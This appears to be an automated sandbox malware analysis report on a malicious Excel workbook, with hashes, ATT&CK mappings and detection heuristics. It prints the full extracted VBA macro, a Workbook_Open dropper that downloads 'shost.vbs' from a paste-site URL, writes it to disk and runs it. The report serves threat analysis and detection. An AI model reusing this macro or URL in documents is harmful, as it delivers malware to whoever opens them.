Office (OOXML) malware analysis — malicious · 98e908d1a2368f28

MALICIOUS

Office (OOXML)

64.6 KB Created: 2021-07-21 13:40:17 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-24

MD5: 4b85efa2d040751d49d1b430f9cabd41 SHA-1: 4e2f3bc1cc55fe67b88267a9ace15c777d8598a6 SHA-256: 98e908d1a2368f280abce7082cea8e8691cdd6a38bfac428e0c147574c838a81

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macro within the Excel document executes upon opening, leveraging WScript.Shell and CreateObject to download a VBScript file named 'shost.vbs' from the URL https://paste.c-net.org/DelegatePumped. The script is then saved to disk and executed, indicating a downloader or dropper functionality. This behavior is consistent with a macro-based malware delivery mechanism.

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set shell_obj = CreateObject("WScript.Shell")
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
stream_obj.write http_obj.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set http_obj = CreateObject("Microsoft.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://paste.c-net.org/DelegatePumped Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1122 bytes
SHA-256: `a87a626c4e340bfa64dc2ec8c42d57db9b420031610d6ccfb4d1a62f2a5d77d0`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim http_obj Dim stream_obj Dim shell_obj Set http_obj = CreateObject("Microsoft.XMLHTTP") Set stream_obj = CreateObject("ADODB.Stream") Set shell_obj = CreateObject("WScript.Shell") URL = "https://paste.c-net.org/DelegatePumped" Filename = "shost.vbs" RUNCMD = "shost.vbs" http_obj.Open "GET", URL, False http_obj.send stream_obj.Type = 1 stream_obj.Open stream_obj.write http_obj.responseBody stream_obj.savetofile Filename, 2 shell_obj.Run RUNCMD End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	15872 bytes
SHA-256: `7d4819f4937c5f93b683213b4a7bac038eda69c551ca59e407a920c6fdc9216b`

Open this report in the interactive analyzer, or submit your own file for analysis.